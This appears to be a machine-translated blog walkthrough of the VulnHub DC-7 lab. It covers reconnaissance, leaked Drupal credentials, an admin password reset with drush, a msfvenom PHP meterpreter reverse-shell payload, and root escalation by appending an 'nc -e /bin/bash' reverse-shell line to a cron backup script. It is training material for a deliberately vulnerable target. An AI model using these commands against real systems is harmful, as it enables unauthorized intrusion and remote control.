当前位置:网站首页>Vulnhub's dc7 target
Vulnhub's dc7 target
2022-06-29 07:46:00 【lainwith】
Catalog
Introduce
series : DC( This series consists of 10 platform )
Release date :2019 year 8 month 31 Japan
difficulty : intermediate
Flag: obtain root jurisdiction , And get the only flag
Study :
- drupal install php Realize hanging horse
- Raise the right
Target address :https://www.vulnhub.com/entry/dc-7,356/
Get tips from the shooting range :
- The target is more suitable for Virtualbox
- Don't try to explode , It's hard to succeed.
information gathering
The host found
netdiscover The host found
about VulnHub For the target , appear “PCS Systemtechnik GmbH” It's the target .
netdiscover -i eth0 -r 192.168.1.0/24

Host information detection
Information detection :nmap -A -p- 192.168.1.125, Only open 22 and 80 port 
Visit website
Know that the website is drupal Site , The prompt message on the front page of the website is that we are not recommended to blow up the website .
The directory scan did not find any valuable information , The only interesting thing is the one in the lower left corner “@DC7USER”, I don't know what it is , Google it , Found a twitter account 
Get one github Address 
Checked , This github The address is the same as the first search result of Google , Then I saw the account number :dc7user、 password :MdR3xOgB7#dW
The attempt to log in to the website failed 
forehead , Then you have to try ssh Connected to . And then it's connected .
SSH Sign in
information gathering

The only thing that stands out is mbox file . View the mess directly , Use mail -f mbox It is known that there are 9 seal , In order to root Identity runs regularly /opt/scripts/backups.sh The script gets . The shooting range is not yet sudo, Let's see what this script is .
I got a lot of information 
analysis :
- Because this script executes root jurisdiction , So now we just need to write the bounce in the script shell Command will get root The powers of the shell 了
- www-data The user has permission to write to the script , So we got www-data User's rebound shell Namely root The powers of the shell
- drush The order is drupal Specific management tools in the system . You can modify www-data user admin password
modify web Backstage password
modify admin User password is admin:drush user-password admin --password="admin"
Login successful 
Hang a horse
There is no place to hang the horse , Read other people's articles , I have gained some insight , It can be installed php Come and hang the horse
- Found no write php The page of

- download php:https://www.drupal.org/project/php/releases/8.x-1.1

- install php


Search for php Positioning position , Check it , And click Install 
- Start hanging horses
because webshell Manage the font size of the tool 、 The background color is not convenient for screenshot display , So I still use msf To do it .
Create a back door
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.118 LPORT=4444 x> shell.php
Turn on monitoring
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.1.118
exploit
- Drop the Trojan horse

- getshell

Raise the right
rebound shell:echo 'nc -e /bin/bash 192.168.1.118 4444' >> /opt/scripts/backups.sh
kali Turn on monitoring :nc -nvlp 4444
Because the script is every 15 Run every minute , Sit back and wait for 15 Minutes!
- Confirm that the command is written successfully

- Listen to the song , Then you see the establishment nc Connect

边栏推荐
- 施努卡:3d机器视觉检测系统 3d视觉检测应用行业
- Software testing
- Mmclassification installation and debugging
- 打包时提示: Property ‘sqlSessionFactory‘ or ‘sqlSessionTemplate‘
- Markdown skill tree (7): separator and reference
- Swin Transformer理论讲解
- TF. Repeat and stack operations of slim
- Problem solving -- > online OJ (13)
- postman预处理/前置条件Pre-request
- SAP UI5 初学 ( 一 )、简介
猜你喜欢

How to talk about salary correctly in software test interview?

Mmclassification installation and debugging

Detailed explanation of top and free commands

Wechat applet learning notes (summer vacation)

软件测试鸾音鹤信

Blue Bridge Cup -- Analysis of the second batch of test questions of the 13th session

Appium 环境搭建
![[industrial control old horse] detailed explanation of the design scheme of the running lamp control system based on Siemens S7-200PLC](/img/c5/9383a02050c83b26bb56f4045b0774.png)
[industrial control old horse] detailed explanation of the design scheme of the running lamp control system based on Siemens S7-200PLC

Kingbasees v8r6 cluster maintenance case -- single instance data migration to cluster case
![[FreeRTOS] interrupt mechanism](/img/ab/9b1d07048b4631d7cc95db99ed529a.png)
[FreeRTOS] interrupt mechanism
随机推荐
The table cannot be vacuumed because the cursor is open for a long time
ShapeShifter: Robust Physical Adversarial Attack on Faster R-CNN Object Detector
719. 找出第 K 小的数对距离(二分)
Schnuka: 3D machine vision inspection system 3D vision inspection application industry
【FreeRTOS】中断机制
MIPS instruction set and brief analysis
DataTables screen error Popup
路由详解(九阳真经)
4年工作经验,多线程间的5种通信方式都说不出来,你敢信?
1032 Sharing
cv::Mat与Base64转换(含图片压缩解压等流程)
Detailed explanation of shell condition judgment
施努卡:3d视觉检测方案 3d视觉检测应用行业
Schnuka: what is visual positioning system? How visual positioning system works
阿里云访问资源:NoSuchKey
SYSTEMd management node exporter
Unexpected exception ... code: Badrequest when downloading Xilinx 2018.2
TREE ALV 展开Node或者点击Toolbar按钮时DUMP(CL_ALV_TREE_BASE==============CP|SET_ITEMS_FOR_COLUMN)
[FreeRTOS] interrupt mechanism
Appium自动化测试基础 — ADB常用命令(二)